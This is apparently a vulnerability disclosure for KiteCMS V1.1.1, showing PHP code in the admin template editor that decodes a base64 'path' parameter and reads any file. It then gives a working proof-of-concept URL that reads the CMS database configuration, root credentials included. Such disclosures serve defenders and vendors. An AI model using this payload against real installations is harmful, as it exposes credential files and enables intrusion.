

main

...

bug\_report / kitecms / Arbitrary-file-reading-1.md



debug601 Update Arbitrary-file-reading-1.md

History

1 contributor

41 lines (23 sloc) | 2.17 KB

...

## Arbitrary file reading vulnerability exists in background module management in KiteCMS-V1.1.1

vendor: <https://github.com/Kitesky/KiteCMS>

Vulnerability Position: ip/index.php/admin/template/filelist.html

Log in to the backend:

Visit <http://ip/index.php/admin/template/filelist.html> , Will access the page of the module

Click to edit, It jumps to another page --->

[http://192.168.1.128/index.php/admin/template/fileedit.html?](http://192.168.1.128/index.php/admin/template/fileedit.html?path=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW1IL2NvbXBhbG1s&name=YmFzZS5odG1s)

[path=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW1IL2NvbXBhbG1s&name=YmFzZS5odG1s](http://192.168.1.128/index.php/admin/template/fileedit.html?path=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW1IL2NvbXBhbG1s&name=YmFzZS5odG1s)

and we find that the path and name parameters are encrypted by base64 by reporting an error.

KITECMS

≡

预览

KiteCMS官网

admin

NAVIGATION

面板

信息

扩展

会员

系统

权限

站点

配置

日志

菜单

模板

模板

模板

company/

文件	文件大小(Byte)	上次修改时间	上次访问时间	操作
base.html	4924	2022-04-03 15:55:18	2022-04-03 15:14:31	编辑
footer.html	5548	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
header.html	2652	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
index.html	6504	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
document/article-detail-sidebar.html	5451	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
document/project-detail.html	4581	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
category/about.html	249	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
category/article-list-sidebar.html	5798	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
category/contact.html	5880	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
category/down.html	6893	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑
category/project-list-sidebar.html	2789	2019-06-29 19:18:06	2022-04-03 15:14:31	编辑

[0] Template.php 第 60 行中的HttpException

这不是文件

```

51.     $request = Request::param('path');
52.     $path = base64_decode($request);
53.     if (file_exists($path)) {
54.         if (is_readable($path)) {
55.             $html = file_get_contents($path);
56.         } else {
57.             throw new HttpException(404, 'File not readable');
58.         }
59.     } else {
60.         throw new HttpException(404, 'This is not file');
61.     }
62.     $data = [
63.         'html' => htmlspecialchars($html),
64.         'path' => $request,
65.         'name' => base64_decode(Request::param('name')),
66.     ];
67.
68.     return $this->fetch('fileedit', $data);
69. }
```

http://192.168.1.128/index.php/admin/template/fileedit.html?

path=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW11L2NvbXBhbnkvYmFzZS5odG1s&name=YmFzZ

path=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW11L2NvbXBhbnkvYmFzZS5odG1s--->

D:/phpStudy/PHPTutorial/WWW/theme/company/base.html

name=YmFzZS5odG1s --->base.html

请输入要进行 Base64 编码或解码的字符

RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3RoZW1lL2NvbXBhbnkvYmFzZS5odG1s

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter** )

Base64 编码或解码的结果:

D:/phpStudy/PHPTutorial/WWW/theme/company/base.html

YmFzZS5odG1s

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter** )

Base64 编码或解码的结果:

base.html

We found the warehouse of the cms in github and inferred the local path of the database file configuration of the cms

The local path to the database file configuration of the cms:

D:\phpStudy\PHPTutorial\WWW\config\database.php

We encode the path with base64 --->

RDpccGhwU3R1ZHIcUEhQVHV0b3JpYWxcV1dXXGNvbmlZ1xkYXRhYmFzZS5waHA=

请输入要进行 Base64 编码或解码的字符

D:\phpStudy\PHPTutorial\WWW\config\database.php

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter** )

Base64 编码或解码的结果:


RDpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGNvbmZpZ1xkYXRhYmFzZS5waHA=

Then splice the transcoded path to the url:

[http://ip/index.php/admin/template/fileedit.html?](http://ip/index.php/admin/template/fileedit.html?path=RDpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGNvbmZpZ1xkYXRhYmFzZS5waHA)

[path=RDpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGNvbmZpZ1xkYXRhYmFzZS5waHA](http://ip/index.php/admin/template/fileedit.html?path=RDpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGNvbmZpZ1xkYXRhYmFzZS5waHA)  
[=&name=ZGF0YWJhc2UucGhw](http://ip/index.php/admin/template/fileedit.html?path=RDpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGNvbmZpZ1xkYXRhYmFzZS5waHA)

Access found that the database configuration file of the cms was successfully read.



```
1 <?php
2 // +-----+
3 // | ThinkPHP [ WE CAN DO IT JUST THINK ]
4 // +-----+
5 // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
6 // +-----+
7 // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
8 // +-----+
9 // | Author: liu21st <liu21st@gmail.com>
10 // +-----+
11
12 return [
13     // 数据库类型
14     'type'                => 'mysql',
15     // 服务器地址
16     'hostname'            => 'localhost',
17     // 数据库名
18     'database'            => 'kitecms',
19     // 用户名
20     'username'            => 'root',
21     // 密码
22     'password'            => 'root',
23     // 端口
```